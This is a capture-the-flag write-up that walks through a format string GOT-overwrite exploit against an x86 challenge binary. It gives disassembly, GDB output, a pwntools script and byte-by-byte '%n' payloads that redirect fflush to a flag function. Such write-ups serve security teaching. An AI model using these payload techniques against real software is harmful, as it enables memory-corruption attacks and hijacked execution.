This challenge contains a rather difficult format write. Give this a try! If you're stuck, check out the full solution below. Note that the binary is in x86, meaning conventions like lln
and llx
don't make sense here.
This challenge will follow the same solution style as the previous two problems. However, if that proves to be confusing, an interesting solution can be found on Nightmare. This demonstrates there is always more than one way to solve these challenges, so if one way isn't working, try another!
Looking through the binary, there is a clear format string vulnerability inside main
:
0x080487d0 <+172>: lea eax,[ebp-0x138] 0x080487d6 <+178>: push eax 0x080487d7 <+179>: call 0x80485d0 <printf@plt>
From here, we'll follow the same format as before. We recognize the only two functions called after printf
are fflush
and exit
; either can be chosen for this challenge. I chose fflush
to not interfere with the proper exiting of the program.
Then, we use the GOT table to check for the address of fflush
to perform a GOT Overwrite. This is possible because we only have Partial RELRO.
[0x804a028] fflush@GLIBC_2.0 → 0x80485c6
Therefore, we must write the values starting at 0x0804a028
. We want to write the address of the flag
function:
gef➤ i fu flag All functions matching regular expression "flag": Non-debugging symbols: 0x0804870b flag()
We'll start this payload one at a time and incrementally check ourselves.
We start with the LSB. We need to write 0x0b
into this position. This is 11
bytes, so we use the following:
payload = b'%11c%xx$n'
We'll figure out what xx
is at the end. For testing purposes, we find that we need 13
in this spot.
len(payload) = 9
. This means we need three blocks (since it's x86
) for the payload before writing the address. Then, we need the offset from the buffer. We can use a variety of methods to decide that number is 10
:gef➤ x/20x $esp 0xffffcb00: 0xffffcbf0 0x08048914 0xffffcb28 0xf7da9439 0xffffcb10: 0xf7d7b2f4 0xf7fcf60c 0xf7b54b0d 0xffffcdf4 0xffffcb20: 0x00000000 0x00000000 0x41414141 0xf7d9000a 0xffffcb30: 0xf7d80444 0xf7ffd000 0xffffcbb4 0x308716da 0xffffcb40: 0xf7db94a0 0xf7b3ed80 0x2b43e9ed 0xf7fbf100
We test the following payload inside gdb
to ensure we get the right transformation:
from pwn import * cmds = ''' tmux-setup b *(main+179) c ''' elf = context.binary = ELF('./chall') p = gdb.debug('./chall', gdbscript=cmds) payload = b'%11c%13$n' payload += b'\x00' * 3 payload += p32(0x0804a028) p.sendline(payload) p.interactive()
So, what happened? We see that 0x51
was put into the slot instead of 0xb
. This is an extra 70
bytes being written to memory. If we run the program like normal, we can quickly diagnose the issue.
There is a string of text being printed before our output of exactly 70 characters. We must account for this when determining the number of bytes being printed.
In redoing the calculation, we know that 70 > 11
, meaning we've already written too many bytes. To fix this, we overcount and print 0x10b
at this location rather than 0x0b
. We can write this into Python using an f-string:
payload = f"%{0x10b-70}c%13$n".encode()
Note that we can't do both an f-string and a byte-string, so we prioritize the f-string and then encode the result to make a formatted byte string.
When running this, we see this successfully changes to the desired value:
Breakpoint 1, 0x080487d7 in main () (remote) gef➤ ni 0x080487dc in main () (remote) gef➤ x/wx 0x0804a028 0x804a028 <fflush@got.plt>: 0x0000010b
Now, we continue this for the next three bytes.
0x10b
bytes. To get 0x87
to show up in the next byte, we need 0x87-0x0b=124
bytes. We can also write this in the same format as the last write:payload += f"%{0x87-0x0b}c%21$n".encode()
0x87
bytes. To put 0x04
in this byte, we need to account for overflow and put 0x104-0x87=125
bytes.payload += f"%{0x104-0x87}c%22$n".encode()
0x08-0x04 = 4
bytes to write the MSB.payload += f"%{0x08-0x04}c%23$n".encode()
Then, we can send this off to the binary using process.sendline
and receive the result using process.interactive
.
This yields us a successful flag read!